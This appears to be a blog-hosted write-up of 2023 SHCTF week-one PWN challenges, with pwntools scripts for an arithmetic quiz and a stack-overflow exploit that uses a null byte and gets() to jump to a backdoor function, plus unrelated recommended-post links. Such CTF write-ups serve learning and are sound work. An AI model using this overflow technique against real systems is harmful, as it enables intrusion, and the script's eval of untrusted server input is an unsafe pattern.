2023 SHCTF-校外赛道 PWN WP
WEEK1
nc
连接靶机直接梭

hard nc
同样是nc直接连,但是出题人利用linux命令的特性,将部分flag放在了特殊文件中
利用ls -a查看所有文件,查看.gift,可以得到前半段

然后再ls gift2以及cat相关的内容得不到任何数据。。。因此考虑到会不会是进入目录下找,再更换到gift2目录中,查看flag2,可以得到一串base64
cd gift2
ls
flag2
cat flag2
ZTQtYTMyNi1jOThjYzJjZmRkYzh9Cg==

口算题

要答对200题才行,肯定得用脚本。。。。
exp:
from pwn import *
host = ''
post =
GeShi = b'Press Enter to start...' # 改格式!
sh = remote(host,post)
sh.sendline("")
data = sh.recvuntil(GeShi).decode()
for i in range(200):
data1 = sh.recvuntil(b'=').decode()
print(data1)
a = data1.split("\n")[-1].split('=')[0]
print("a:",a)
if "÷" in a:
a = a.replace("÷","/")
if "×" in a:
a = a.replace("×","*")
print(eval(a))
sh.sendline(str(eval(a)).encode())
print(sh.recvline())
print(sh.recvline())
print(sh.recvline())
print(sh.recvall())

showshowway

题目要求y和p相等,寻找一下p和y,发现p = showshowway

而y是一个大小为32的字符数组

往上划发现,传入的值存在s中,地址从06010C0截至到06010FF,长度为64(测试过了一个字符a占地址为1),而y的地址紧接着s,说明我们传入的第65个值会存入y

所以我们只要输入64个a+showshowway,即可让y和p相等。。。。

四则计算器
IDA发现有后面函数backdoor()

查看backdoor()的地址为0x4015E4

利用gets()函数不检查输入函数,所以存在栈溢出漏洞,再利用strlen()会被\x00截断
构造pyload:
from pwn import *
context(os='linux',arch='amd64',log_level= 'debug')
sh = remote("IP",端口号)
backdoor = 0x4015E4
pad = 0x32 + 8
payload = b'\x00' + b'A'*(pad-1) + p64(backdoor)
sh.sendline(payload)
sh.interactive()

2023 SHCTF-校外赛道 PWN WP的更多相关文章
- 2021能源PWN wp
babyshellcode 这题考无write泄露,write被沙盒禁用时,可以考虑延时盲注的方式获得flag,此exp可作为此类型题目模版,只需要修改部分参数即可,详细见注释 from pwn im ...
- bugku - pwn wp
一. PWN1 题目:nc 114.116.54.89 10001 1. 直接kali里面跑nc 2.ls看看有啥 3.明显有一个flag cat查看一下 搞定 二 . PWN2 题目:给了nc 1 ...
- 2020数字中国创新大赛虎符网络安全赛道-pwn count
比赛结束前半个小时才看的题,等我做出来比赛已经结束了.难受Orz 本地文件无法执行,远程调试. 题目大概意思就是让你计算200道四则运算.(实际上格式是固定的.先乘一次然后再加两次).200道题都正确 ...
- 【pwn】攻防世界 pwn新手区wp
[pwn]攻防世界 pwn新手区wp 前言 这几天恶补pwn的各种知识点,然后看了看攻防世界的pwn新手区没有堆题(堆才刚刚开始看),所以就花了一晚上的时间把新手区的10题给写完了. 1.get_sh ...
- BUUCTF PWN部分题目wp
pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...
- CG-CTF pwn部分wp
面向pwn刷cgctfPWN1,When did you born题目给了一个ELF文件,和一个.C文件先运行ELF,大概如下What’s Your Birth?0What’s Your Name?0 ...
- (buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016
[buuctf]pwn入门 pwn学习之路引入 栈溢出引入 test_your_nc [题目链接] 注意到 Ubuntu 18, Linux系统 . nc 靶场 nc node3.buuoj.cn 2 ...
- NCTF2022 - pwn 部分 wp
总的来说我出的几题不是很难,主要是想把自己感觉有意思的一些东西分享给大家. ezlogin 程序设计周大作业稍加改编出的题目.洞在Tea里,有个数组越界写,为了避开\x00截断,我给了*可以对其进行替 ...
- HGAME 2023 WP week1
WEEK1 web Classic Childhood Game 一眼顶真,直接翻js文件,在Events.js中找到mota(),猜测是获取flag,var a = ['\x59\x55\x64\x ...
- pwn学习之四
本来以为应该能出一两道ctf的pwn了,结果又被sctf打击了一波. bufoverflow_a 做这题时libc和堆地址都泄露完成了,卡在了unsorted bin attack上,由于delete ...
随机推荐
- 11 个步骤完美排查Linux服务器是否被入侵
文章来源公众号:LemonSec 随着开源产品的越来越盛行,作为一个Linux运维工程师,能够清晰地鉴别异常机器是否已经被入侵了显得至关重要,个人结合自己的工作经历,整理了几种常见的机器被黑情况供参考 ...
- 虚拟化H搭建
虚拟化H搭建 H搭建所需要的硬件配置 最大值:所有组件不能超过160个cpu 按安装H需要2G内存+若干个guest(不明确多大),最大支持2个TB内存 最小磁盘2G 一个千兆网卡 lscpu信息 [ ...
- Protobuf 的基本使用
Protobuf 是 Google 用于序列化数据对象的一种机制,使得数据对象能够在应用程序和服务器之间进行交互,尽管现在 Java 已经对应的序列化的实现方式,但是传统的序列化方式存在严重的缺陷,因 ...
- 如何抑制特定 clang-tidy 警告
️ clang-tidy 的规则能够帮助检查潜在的问题,不要盲目抑制警告! 可以通过添加 NOLINT, NOLINTNEXTLINE, 以及 NOLINTBEGIN - NOLINTEND 注释来抑 ...
- 在线编辑Word——插入内容控件
内容控件是可添加和自定义的以在模板.窗体和文档中使用的单个控件.Word中支持添加多种类型的控件用于不同文档的设计需求.本文,将通过在线编辑的方式展示如何在Word中插入内容控件,这里使用的在线编辑器 ...
- 从java注解漫谈到typescript装饰器——注解与装饰器
之前整理过<Java注解(批注)的基本原理>,在java里面,,注解(Annotation)是油盐,对于JavaScript来说,还中世纪欧洲的东方香料 装饰器和注解 装饰器和注解之前也搞 ...
- 无法安装此app,因为无法验证其完整性 ,解决方案
最近有很多兄弟萌跟我反应"无法安装此app,因为无法验证其完整性 ",看来这个问题无法避免了,今天统一回复下,出现提示主要有以下几种可能 1.安装包不完整 首先申请我所有分享的破解 ...
- Filebeat的安装和使用(Windows)
Filebeat是什么 1.Filebeat是什么?Filebeat是用于转发和集中日志数据的轻量级传送工具. Filebeat监视用户指定的日志文件或位置,收集日志事件,并将日志数据转发到Elast ...
- Hugging News #0918: Hub 加入分类整理功能、科普文本生成中的流式传输
每一周,我们的同事都会向社区的成员们发布一些关于 Hugging Face 相关的更新,包括我们的产品和平台更新.社区活动.学习资源和内容更新.开源库和模型更新等,我们将其称之为「Hugging Ne ...
- Hugging News 年度特刊: Transformers & Gradio 年终大事件总结
Transformers 年终大事件总结 对于 Transformers 来说,这是激动人心的一年.2022 年,我们的每周活跃用户数量增加了两倍,最近的一周用户超过 100 万,平均每日 pip 安 ...